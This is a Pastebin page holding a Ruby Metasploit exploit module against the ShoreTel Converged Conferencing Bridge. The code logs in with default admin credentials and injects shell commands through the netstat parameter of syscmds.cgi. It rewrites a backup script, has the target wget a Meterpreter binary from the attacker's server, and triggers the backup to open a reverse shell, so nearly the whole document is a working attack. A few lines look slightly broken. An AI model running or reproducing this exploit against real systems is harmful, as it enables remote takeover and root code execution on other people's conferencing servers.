Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

hacking shoretel converged conferencing bridge

By: keith55 on Apr 16th, 2011  |  syntax: Ruby  |  size: 8.77 KB  |  views: 485  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # Framework web site for more information on licensing and terms of use.
  5. # http://metasploit.com/framework/
  6. ##
  7.  
  8.  
  9. require 'msf/core'
  10.  
  11.  
  12. class Metasploit3 < Msf::Exploit::Remote
  13.         include Msf::Exploit::Remote::HttpClient
  14.         include Msf::Exploit::EXE      
  15.         include Msf::Exploit::Remote::HttpServer::HTML 
  16.        
  17.  
  18.         def initialize(info = {})      
  19.                 super(
  20.                         'Name'           => 'Shoretel Converged Conference Bridge Login',
  21.                         'Version'        => '$Revision: 1$',
  22.                         'Description'    => 'Shoretel Converged Conference Bridge Login',
  23.                         'Author'         => 'Josh Brashars @savant42 and Keith Lee @keith55',
  24.                         'License'        =>  MSF_LICENSE,      
  25.                         'Privileged'  => true
  26.                         'Platform'    => [ 'linux' ],
  27.                         'Stance'      => Msf::Exploit::Stance::Aggressive,     
  28.                         'DefaultOptions' =>
  29.                                 {
  30.                                         #'EXITFUNC'          => 'process',
  31.                                         'EXITFUNC'          => 'thread'
  32.                                 },                     
  33.  
  34.                         'Targets'     =>
  35.                                 [
  36.                                         [ 'Automatic', { } ],
  37.  
  38.                                         [ 'Linux Universal',
  39.                                                 {
  40.                                                         'Arch' => ARCH_X86,
  41.                                                         'Platform' => 'linux'
  42.                                                 },
  43.                                         ],
  44.                                 ],
  45.  
  46.                         'DefaultTarget'  => 0                  
  47.                         )
  48.                         register_options(
  49.                         [
  50.                                 Opt::RPORT(8080),
  51.                                 #OptString.new('EXENAME', [ false, 'The Name of payload exe.',"tmp.bin"]),
  52.                                 OptString.new('RHOST', [ false, 'Target Shoretel Converged Conference Bridge',"conference.testdomain.com"]),           
  53.                                 OptString.new('RPORT', [ false, 'Target Shoretel Server Port',"443"]),         
  54.                                 OptString.new('USERNAME', [ false, 'Admin login ID for Shoretel conferencing bridge',"admin"]),        
  55.                                 OptString.new('PASSWORD', [ false, 'Admin passsword for shoretel conferencing bridge',"changeme"]),            
  56.  
  57.                                 OptString.new('PAYLOAD', [false,'The payload to use for Linux reverse-connect payloads','linux/x86/meterpreter/reverse_tcp']),
  58.                                                        
  59.                                 OptBool.new('USECONTENTTYPE', [ true,
  60.                                         'Use Content-type header according to file extension. Many exploits may fail depending on this value',
  61.                                         true
  62.                                 ]),                    
  63.                                 OptString.new('SRVHOST',[true,"The IP address of this server","192.168.160.134"]),
  64.                                 OptPort.new('SRVPORT',   [ true,  "The daemon port to listen on (do not change)", 80 ]),
  65.                                 OptString.new('URIPATH', [ true,  "The URI to use (do not change).", "/" ]),
  66.                                 #OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]),                 
  67.                                 OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ])
  68.                         ], self.class)                         
  69.         end
  70.  
  71.  
  72.         def on_request_uri(cli, request)
  73.  
  74.                 case request.method
  75.                 when 'GET'
  76.                         process_get(cli, request)
  77.                 else
  78.                         print_error("Unexpected request method encountered: #{request.method}")
  79.                         resp = create_response(404, "Not Found")
  80.                         resp.body = ""
  81.                         resp['Content-Type'] = 'text/html'
  82.                         cli.send_response(resp)
  83.                 end
  84.  
  85.         end
  86.  
  87.         def process_get(cli, request)
  88.                 myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  89.  
  90.                 webdav = "\\\\#{myhost}\\"
  91.  
  92.                 if (request.uri =~ /\.bin$/i)
  93.                         datastore['SHELL'] = '/bin/sh'
  94.                         print_status("SHELL set to #{datastore['SHELL']}")             
  95.                         return if ((p = regenerate_payload(cli)) == nil)
  96.                         data = generate_payload_exe({ :code => p.encoded })
  97.                         print_status("Sending payload to #{cli.peerhost}:#{cli.peerport}...")
  98.                         send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  99.                         handler(cli)
  100.                         return
  101.  
  102.                 end
  103.  
  104.                 print_status "Sending 404  to #{cli.peerhost}:#{cli.peerport} ..."
  105.                 resp = create_response(404, "Not Found")
  106.                 resp.body = ""
  107.                 resp['Content-Type'] = 'text/html'
  108.                 cli.send_response(resp)
  109.         end
  110.  
  111.         def exploit
  112.  
  113.                 service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT']
  114.                 print_status("Starting up our web service on #{service_url} ...")
  115.                 start_service({'Uri' => {
  116.                         'Proc' => Proc.new { |cli, req|
  117.                                 on_request_uri(cli, req)
  118.                         },
  119.                         'Path' => resource_uri
  120.                 }})
  121.  
  122.                 post_data = "mode=login&admin_name="+datastore['USERNAME']+"&admin_pwd="+datastore['PASSWORD']+"&ok=Login"
  123.                 print_status("https://#{rhost}:#{rport} - Shoretel Converged Conferencing - Trying username:'"+datastore['USERNAME']+"' with password:'"+datastore['PASSWORD']+"'")
  124.                
  125.                 datastore['rport'] = "443"
  126.  
  127.                 res = send_request_cgi({
  128.                         'uri'      => '/cgi-bin/login.cgi',
  129.                         'data'    => post_data,
  130.                         'method'  => 'POST',
  131.                         'headers' =>
  132.                                 {
  133.                                         'User-Agent' => datastore['UserAgent']
  134.                                 }                      
  135.                 }, 25)
  136.                
  137.  
  138.                
  139.                 if (res and res.body.match(/Invalid admin name/))
  140.                         print_status("http://#{rhost}:#{rport} - Shoretel Converged Conferencing - Failed to login as "+datastore['USERNAME'])                         
  141.                         return
  142.                 else
  143.                         cookies = res.headers['Set-Cookie']
  144.                         if cookies.nil?
  145.                                 raise RuntimeError, 'The server did not set any cookies'
  146.                         end
  147.                                        
  148.                         cookies = cookies.gsub("path=/, ","")
  149.                         cookies = cookies.gsub("path=/","")
  150.                         #cookies = cookies[0,cookies.length-2]
  151.                                        
  152.                         datastore['rport']=80
  153.                         post_data = "cmd=netstat&option_a=+-a+%26"+Rex::Text.uri_encode("cp /usr/local/apache/cgi-bin/scp.expect /tmp/scp.expect.bck")
  154.                         #print_status(post_data)
  155.                         print_status("Backup existing scp.expect")
  156.                         res = send_request_cgi({
  157.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  158.                                 'data'    => post_data,
  159.                                 'method'  => 'POST',   
  160.                                 'cookie'  => cookies,  
  161.                                 'User-Agent' => datastore['UserAgent']                 
  162.                         }, 25)
  163.                        
  164.                         print_status("Amend scp.expect to execute reverse shell")
  165.                         post_data = "cmd=netstat&option_a=+-a+%26"+Rex::Text.uri_encode("sed '3iexec /tmp/tmp.bin' /usr/local/apache/cgi-bin/scp.expect > /tmp/scp1.expect")   
  166.                         #print_status(post_data)
  167.                         res = send_request_cgi({
  168.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  169.                                 'data'    => post_data,
  170.                                 'method'  => 'POST',   
  171.                                 'cookie'  => cookies,                                  
  172.                                 'User-Agent' => datastore['UserAgent']                         
  173.                         }, 20)
  174.  
  175.                         post_data = "cmd=netstat&option_a=+-a+%26"+Rex::Text.uri_encode("sed  '3iexec chmod 777 /tmp/tmp.bin' /tmp/scp1.expect > /tmp/scp2.expect")    
  176.                         #print_status(post_data)
  177.                         res = send_request_cgi({
  178.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  179.                                 'data'    => post_data,
  180.                                 'method'  => 'POST',   
  181.                                 'cookie'  => cookies,                                  
  182.                                 'User-Agent' => datastore['UserAgent']                         
  183.                         }, 20)
  184.  
  185.                         post_data = "cmd=netstat&option_a=+-a+%26"+Rex::Text.uri_encode("sed  '4iexec chown root /tmp/tmp.bin' /tmp/scp2.expect > /tmp/scp3.expect & cp /tmp/scp3.expect /usr/local/apache/cgi-bin/scp.expect --reply=yes")    
  186.                         #print_status(post_data)
  187.                         res = send_request_cgi({
  188.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  189.                                 'data'    => post_data,
  190.                                 'method'  => 'POST',   
  191.                                 'cookie'  => cookies,                                  
  192.                                 'User-Agent' => datastore['UserAgent']                         
  193.                         }, 20)
  194.  
  195.                         print_status("Grab meterpreter binary from from our server")
  196.                         post_data = "cmd=netstat&option_a=%26wget http://"+datastore['SRVHOST']+":"+datastore['SRVPORT']+"/tmp.bin -O /tmp/tmp.bin \r\n"
  197.                         #print_status(post_data)
  198.                         res = send_request_cgi({
  199.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  200.                                 'method'  => 'POST',
  201.                                 'data'    => post_data,
  202.                                 'cookie'  => cookies,
  203.                         }, 20)
  204.                        
  205.                         Rex::ThreadSafe.sleep(8)
  206.  
  207.                         print_status("Changing permissions of binary")
  208.                         post_data = "cmd=netstat&option_a=%26chmod 777 /tmp/tmp.bin \r\n"
  209.                         #print_status(post_data)
  210.                         res = send_request_cgi({
  211.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  212.                                 'method'  => 'POST',
  213.                                 'data'    => post_data,
  214.                                 'cookie'  => cookies,  
  215.                         }, 20)
  216.  
  217.  
  218.                         print_status("Changing ownership of binary")
  219.                         post_data = "cmd=netstat&option_a=%26swhoami > /tmp/out.txt \r\n"
  220.                         #print_status(post_data)
  221.                         res = send_request_cgi({
  222.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  223.                                 'method'  => 'POST',
  224.                                 'data'    => post_data,
  225.                                 'cookie'  => cookies,
  226.                         }, 20)
  227.  
  228.  
  229.                        
  230.                         print_status("Executing binary for reverse shell")
  231.                         post_data1='action=commit&backup_ind=on&backup_hostname=127.0.0.1&backup_directory=/tmp&backup_user=root&backup_password=metatel&backup_mode=scp&database=database&sessions=sessions&cert=cert&chunksize=128&upload_data=Save'
  232.                         res = send_request_cgi({
  233.                                 'uri'     => '/cgi-bin/save_box_data.cgi',
  234.                                 'method'  => 'POST',
  235.                                 'data'    => post_data1,
  236.                                 'cookie'  => cookies,
  237.                         }, 20)
  238.  
  239.  
  240.                         Rex::ThreadSafe.sleep(5)
  241.                        
  242.                         #Execute Backup
  243.                                
  244.                         print_status("Restore original scp.expect")
  245.                         post_data1 = "cmd=netstat&option_a=+-a+%26cp /tmp/scp.expect.bck /usr/local/apache/cgi-bin/scp.expect"
  246.                         res = send_request_cgi({
  247.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  248.                                 'method'  => 'POST',
  249.                                 'data'    => post_data1,
  250.                                 'cookie'  => cookies,
  251.                         }, 20)
  252.                        
  253.                        
  254.                         return
  255.                 end
  256.  
  257.                 rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  258.                 rescue ::Timeout::Error, ::Errno::EPIPE
  259.  
  260.         end
  261. end